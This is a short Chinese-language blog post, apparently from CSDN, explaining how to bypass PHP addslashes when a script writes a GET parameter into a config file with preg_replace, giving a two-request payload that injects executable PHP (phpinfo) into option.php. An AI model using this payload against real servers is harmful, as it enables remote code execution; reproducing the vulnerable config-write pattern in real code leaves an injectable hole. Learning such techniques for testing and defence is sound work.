php写入配置文件getshell,php_addslashes绕过与写入文件配置getshell

绕过addslashes并写入文件配置getshell

写入配置getshell与addslashes绕过:

$str = addslashes($_GET['option']);

$file = file_get_contents('xxxxx/option.php');

$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);

file_put_contents('xxxxx/option.php', $file);

?>

对option变量进行了addslashes函数的限制,但是后面使用了file_get_contents函数打开文件,中间使用preg_replace将里面原$option=\'xxx\'的内容替换成$option=\‘xxx\’,最后用file_put_contents函数进行写入。

addslashes函数

版本:php4+

这个函数是对目前字符串中的单引号,双引号,反斜杠,null这四种情况进行转义,转义方式是在原符号之前加上反斜杠

利用

访问?option=asd’;%0aphpinfo();//

$str = asd\’;%0aphpinfo();//

经过替换写入后文件为

$option='asd\';

phpinfo();//;

?>

在访问一次?option=asd

$str = asd

经过再次替换后文件为

$option='asd';

phpinfo();//;

?>

最后访问asd/option.php就可以执行了。

标签:文件,getshell,option,addslashes,写入,asd,php,函数

来源: https://blog.csdn.net/awanawan/article/details/101026548

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值